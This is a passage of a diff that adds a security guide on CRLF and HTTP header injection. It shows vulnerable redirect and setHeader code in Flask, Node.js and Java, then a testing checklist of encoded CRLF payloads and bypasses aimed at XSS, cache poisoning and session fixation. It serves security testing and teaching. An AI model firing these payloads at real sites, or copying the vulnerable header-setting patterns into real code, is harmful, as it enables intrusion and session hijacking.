+ return redirect(request.args.get('next'))
158
+
159
+ // Node.js — setHeader with user input:
160
+ res.setHeader('X-Custom', userInput);
161
+
162
+ // Java — response.setHeader with user input:
163
+ response.setHeader("Location", request.getParameter("url"));
164
+ ```
165
+
166
+ ---
167
+
168
+ ## 7. TESTING CHECKLIST
169
+
170
+ ```
171
+ □ Inject %0D%0A in redirect URL parameters
172
+ □ Inject %0D%0A in Set-Cookie name/value paths
173
+ □ Try double CRLF for body injection → XSS
174
+ □ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
175
+ □ Check if response is cacheable → cache poisoning
176
+ □ Test in User-Agent / Referer for log injection
177
+ □ Test CRLF + Set-Cookie for session fixation
178
+ □ Verify if Location header can be injected in 302 responses
179
+ ```